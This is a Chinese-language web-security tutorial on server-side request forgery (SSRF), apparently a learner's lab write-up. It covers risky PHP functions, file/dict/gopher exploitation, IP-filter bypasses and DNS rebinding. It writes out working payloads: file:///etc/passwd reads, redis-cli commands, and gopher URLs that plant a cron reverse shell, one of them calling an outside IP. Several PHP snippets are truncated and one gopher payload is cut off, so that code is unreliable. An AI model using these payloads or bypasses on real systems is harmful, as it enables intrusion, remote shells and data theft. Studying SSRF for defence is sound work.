发布时间:2024-01-12 12:00
原文链接:https://www.freebuf.com/articles/web/333318.html
Drunkbaby 2022-05-16 22:00:25
40630
博客地址 芜风
二刷漏洞:知其所以然 <-> 知其然 -> 懂其攻 -> 知其守
刚二刷完 CSRF,继续 SSRF
SSRF 主要是由于一些危险函数与危险协议产生的。我们以 PHP 为例,列举一下这些危险函数。
file_get_contents()
fsockopen()
curl_exec()
SoapClient
file://
gopher
dict
etc...
攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,redis,SMTP 等等 ……
SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
如果不在知道原理的基础上回答这些问题,很多都只是有一知半解的感觉,所以我们先把原理讲清楚了再进行下一步。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
以 PHP 为例,说明一些可利用的危险函数
file_get_contents
这一函数是把 **传入的参数(变量)**写入字符串,当把 传参是内网文件的时候,会先去吧这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。一般这种攻击也与目录遍历相结合。
// ssrf.php
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())
如果调用失败,将返回false。
测试代码:
// ssrf.php
\\n\";
} else {
$out = \"GET / HTTP/1.1\\r\\n\";
$out .= \"Host: $host\\r\\n\";
$out .= \"Connection: Close\\r\\n\\r\\n\";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
构造ssrf.php?url=www.baidu.com
即可成功触发 ssrf 并返回百度主页,这种更像是一种重定向 (302) 之类的,没什么用。
curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt(),curl_exec()和curl_close()
函数使用。
测试代码:
// ssrf.php
构造ssrf.php?url=www.baidu.com
即可成功触发 ssrf 并返回百度主页:
curl_exec()
这里的攻击危害的。最常见的是通过file、dict、gopher
这三个协议来进行渗透。
curl -vvv \'dict://127.0.0.1:6379/info\'
curl -vvv \'file:///etc/passwd\'
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv \'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a\'
利用 SSRF-Lab 进行学习,一边代码审计一边学习漏洞利用。
SSRF-Lab 搭建教程
Payload
file:///etc/password # file:// 之后可以接任意文件
这里的 Payload 只是一个基础示范,还可以读取很多文件,在实战渗透当中,更多情况应该是通过 GET 请求攻击的。
http://ip/index.php?url=file:///etc/password
而在 SSRF-Lab 当中较简单,在框中输入file:///etc/password
即可。
利用dict
协议,dict://ip/info
可获取本地redis
服务配置信息。
如果在靶场当中要尝试 dict 协议读取 Redis 需要先安装一下 redis-server,具体可见 redis 与 dict 协议
首先先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议
redis-cli -h $1 flushall
echo -e \"\\n\\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\\n\\n\"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据
这便是常见的exp,只需自己更改IP和端口即可,改成适配于Gopher
协议的 URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0
经过url解码便是:
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
> http://baidu.com@1.1.1.1
和
> http://1.1.1.1
效果是一样的,因为解析的本来就是@
后面的服务器地址。
源代码
if (preg_match(\'#^https?://#i\', $handler) !== 1) {
echo \"Wrong scheme! You can only use http or https!\";
die();
} else if (preg_match(\'#^https?://10.0.0.3#i\', $handler) === 1) {
echo \"Restricted area!\";
die();
}
php 代码中通过正则对输入的 IP 进行了过滤。
众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。
字符串: 10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163
这些表达方式都能被curl
命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制0x0A000003
表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在20
前面加个0
就会变成8进制,比如http://01200000003
实际上还是http://10.0.0.3
。上面两个表达方式,PHP 的 curl 模块能解析出来。
十六进制: http://0x0A.0x00.0x00.0x03
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3
IP
地址。假设你的IP
地址是10.0.0.1
,你只需使用前缀域名+IP地址+xip.io
即可完成相应自定义域名解析。10.0.0.1.xip.io # 解析到 10.0.0.1
www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4
xip.name 在使用上与
xip.io
一致
10.0.0.1.xip.name # 解析到 10.0.0.1
www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4
这种绕过方式还是很有效的,HackTheBox 上有一道 CTF 题目就是 DNS 重绑的。
HackTheBox-baby-CachedView | 芜风
密码可以私聊我
DNS 重绑的话,原理如图所示
工具网站如下
https://lock.cmpxchg8b.com/rebinder.html
简单叙述一下逻辑:
1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
2.若在,退出报错
3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块
所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。
效果类比:你访问wwfcww.xyz
这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。
SSRF 整体上来说入门并不难,难的是在实战渗透当中想到这么做。利用 SSRF-Lab 可以省去自己搭环境的时间。
https://www.anquanke.com/post/id/262430
https://se8s0n.github.io/2019/05/19/SSRF-LABS%E6%8C%87%E5%8D%97/
https://xz.aliyun.com/t/7333
https://www.freebuf.com/articles/web/260806.html